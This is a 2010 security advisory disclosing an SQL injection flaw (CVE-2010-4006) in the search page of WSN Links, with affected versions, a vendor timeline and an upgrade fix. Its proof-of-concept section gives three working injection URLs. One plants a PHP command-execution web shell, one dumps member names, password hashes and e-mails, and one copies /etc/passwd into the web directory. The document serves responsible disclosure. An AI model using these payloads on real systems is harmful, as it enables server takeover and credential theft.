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WSN Links SQL Injection

WSN Links SQL Injection
Posted Nov 2, 2010
Authored by Mark Stanislav

WSN Links versions prior to 6.0.1, 5.1.51 and 5.0.81 suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2010-4006
SHA-256 | 881436ef08f0cd388fa73ef2ea6a787d03cb2c25a3015b6a944297441b172013

WSN Links SQL Injection

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'WSN Links' SQL Injection Vulnerability (CVE-2010-4006)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the search.php code that allows for SQL injection of various parameters. By assembling portions of SQL code between the affected parameters, successful SQL injection into the software can occur. In the testing done, various 'UNION SELECT' SQL injections can occur.


II. AFFECTED VERSIONS
---------------------------------------
< 6.0.1; < 5.1.51 ; < 5.0.81


III. TESTED VERSIONS
---------------------------------------
5.1.40 & 5.1.49


IV. PoC EXPLOITS
---------------------------------------
1) A 'UNION SELECT' which results in a PHP shell-execution script
http://example.com/search.php?namecondition=IS%20NULL))%20UNION%20((SELECT%20"<?php%20system($_REQUEST[cmd]);%20?>"%20INTO%20OUTFILE&namesearch=/var/www/exec.php&action=filter&filled=1&whichtype=categories

2) A 'UNION SELECT' which results in a member's name, password hash, and e-mail to be extracted to a file
http://example.com/search.php?namecondition=IS%20NOT%20NULL))%20UNION%20((SELECT%20concat(name,0x3a,password,0x3a,email)%20FROM%20wsnlinks_members%20INTO%20OUTFILE&namesearch=/var/www/pass.txt&action=filter&filled=1&whichtype=categories

3) A 'UNION SELECT' which results in the /etc/passwd file being copied to a web directory file
http://example.com/search.php?namecondition=IS%20NOT%20NULL))%20UNION%20((SELECT%20load_file(0x2f6574632f706173737764)%20INTO%20OUTFILE&namesearch=/var/www/passwd.txt&action=filter&filled=1&whichtype=categories


V. NOTES
---------------------------------------
* The above exploits require 'FILE' SQL privilege as well as poor web directory permissions to work.
* Only 'namecondition' and 'namesearch' are utilized for the actual SQL injection.
* There is potential to exploit this vulnerability which outputs user data directly to the browser.
* Passing 'debug=1' as a query value easily enables debug mode of tested 'WSN Links' deployments.


VI. SOLUTION
---------------------------------------
Upgrade to the most recent version of your 'WSN Links' code branch.


VII. REFERENCES
---------------------------------------
http://www.wsnlinks.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4006
http://www.uncompiled.com/2010/10/wsn-links-sql-injection-vulnerability-cve-2010-4006/

VIII. TIMELINE
---------------------------------------
10/10/2010: Initial discloure e-mail to the vendor
10/18/2010: Follow-up via the vendor's contact web form
10/18/2010: Vendor acknowledgement/commitment to fix
10/21/2010: Patched versions released
10/31/2010: Public disclosure
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